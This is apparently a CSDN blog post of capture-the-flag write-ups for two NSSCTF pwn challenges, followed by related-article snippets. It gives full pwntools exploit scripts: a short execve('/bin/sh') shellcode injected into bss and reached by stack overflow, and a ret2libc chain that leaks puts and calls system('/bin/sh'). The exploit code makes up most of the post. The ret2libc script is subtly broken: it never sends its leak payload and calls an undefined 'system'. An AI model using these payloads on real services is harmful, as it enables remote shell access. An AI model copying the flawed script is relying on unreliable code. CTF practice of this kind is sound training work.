首页 > 其他分享 >NSSCTF(PWN)4

NSSCTF(PWN)4

时间:2024-09-30 13:20:54浏览次数:8  
标签:p64 puts x2f padding io PWN shellcode NSSCTF

[GDOUCTF 2023]Shellcode

使用checksec发现这是64位文件

查看main函数发现这题涉及到了栈溢出

我们点开第一个read,name发现位于bss段中,就想到这里涉及到了shellcode,但是使用 shellcraft 默认生成的字节数是 44 字节,这里最大输入数才25字节,所有不能使用默认生成

这里我们就是涉及到了一个64 位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

找到了方法,我们接着找栈溢出点在哪里

第二个read的buf为栈溢出点,因为他不能直接读写,我们只能先第一个shellcode注入,然后第二个在溢出

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28981')
bss = 0x6010A0
padding = b'a'*(0xA+0x8)
io.recvuntil(b'Please.')
shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.sendline(shellcode)
io.recvuntil(b'start!')
payload = padding + p64(bss)
io.sendline(payload)
io.interactive()

[2021 鹤城杯]babyof

使用checksec发现这是一个64位文件

打开main函数,发现这里有个sub_400632双击进入

典型栈溢出

发现这题没有system和binsh,这题涉及到了ret2libc

这道题需要用到rdi和ret

exp:

from pwn import *
from LibcSearcher import *
io = remote('node4.anna.nssctf.cn','28146')
elf = ELF('/home/xp/tm/bin/b')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x400632
ret = 0x400506
rdi = 0x400743
padding = b'a'*(0x40+0x8)
io.recvuntil(b'overflow?')
payload = padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
put = u64(io.recvuntil(b'\x7f', timeout=5)[ -6:].ljust(8, b'\x00'))
print(hex(put))
libc = LibcSearcher('puts',put)
base = put - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload1 = padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(payload1)
io.interactive()

标签:p64,puts,x2f,padding,io,PWN,shellcode,NSSCTF
From: https://blog.csdn.net/fanshaoze/article/details/142648138

相关文章

  • NSSCTF(PWN)3
    [HGAME2023week1]test_nc这是一道简单的nc签到题,直接终端nc就行[NISACTF2022]ezpie使用checksec,发现这题是32位且开了PIE进入main函数,我们要打印一个Input,发现了vuln双击进入这里涉及了严重的栈溢出因为这道题涉及PIE我们要找到main和shell的偏移量经过计算s......
  • 安装ubuntu以及pwn的环境搭建
    推荐pwn方向Pwn环境搭建基本工具:gdb+peda+pwndbg、gcc、Pwntools、Capstone、gcc-multilib、socat、rp++、readelfROPgaget、libc-database、objdump、file、string、checksec ubuntu下载本人推荐清华大学开源软件镜像站:清华大学开源软件镜像站|TsinghuaOpenSourc......
  • 极客大挑战2023-pwn-nc_pwntools WriteUp
    主要考查点Pwntools工具的基本使用方法解题思路1.nc连接题目,得到提示:根据题目,要求发送一个100长度的字符串,而且末尾需要为Sycloverb'A'*92+b'Syclover'2.发送第一个请求后进入第二步要求短时间内计算一个复杂算式,自己算是肯定不可能的,所以pwntools的recv来接收并完成......
  • buuctf pwn [第五空间2019 决赛]PWN51
    首先用checksec检查一下,发现是32位的,还有栈保护。然后将其放入ida32,查看main函数,幸运的发现有system。然后接下来就是理解这段反编译代码在讲什么,它的意思是它会随机生成一个4字节大小的数据,然后我们输入的passwd要与其相等。但是我们并不知道它随机生成的是什么,所以我们可以......
  • buuctf pwn jarvisoj_level01
    首先,将下载的文件用checksec检查一下然后我们将其放入ida64中,按tap键查看源码点开vuln函数,看见有read,buf,发现buf占0x80空间,而,read里面有0x200,所以会有溢出。这里显示buf的地址为0x80+8,即136。然后有发现有system函数那就简单多了,它的起始地址为0x400596接下来写代码......
  • BUUCTF(PWN)- rip
    BUUCTF(PWN)-rip打开题目得到靶机信息:node5.buuoj.cn:29045和附件pwn1查看文件信息为64-bit,用ida打开附件首先shift+f12查找字符串,能看见system、/bin/sh字样,点击pleaseinput或者ok,bye!!!跳转直接进入main函数查看gets并没有限制输入,gets函数的缓冲......
  • NSSCTF [HUBUCTF 2022 新生赛]simple_RE(变种base64编码)
    文件无壳拖入IDA中shift+F12查看可疑字符串发现两串字符串一看这两个等于号就猜测是base64编码进入主函数看看这段代码是一个简单的C语言程序,主要功能是接受用户输入的字符串作为“flag”,然后通过对输入的字符串进行一些处理和比较来验证是否输入了正确的“flag”。......
  • 926pwn学习
    9/26pwn学习pwn基础学习C语言-3while循环if是一次性的,while是循环不断的下面是一个循环体while(x>0){x/=10;n++;}条件成立是循环继续的条件do-while循环再进入循环的时候不做检查,而是在执行完一轮循环体的代码后,再来检查循环的条件是否满足,如果满足则继续......
  • 2024最新pwn环境配置与基础讲解
    从零开始配置ubuntupwn虚拟机参考一个比较新的环境搭建教程:#ubuntu20.04PWN(含x86、ARM、MIPS)环境搭建致敬传奇大神hollk师傅博客中的配置过程可参见B站视频:2024最新pwn环境配置与基础讲解1.ubuntu虚拟机安装24.04下载:https://ubuntu.com/download/desktop/thank-you?ver......
  • nssctf(web
    web1.浏览器也能套娃查看wp,是ssrf漏洞介绍:SSRF漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。SSRF的利用:进行内网资源的访问:url?url=http://内网的资源url利用伪协议:file:///这种......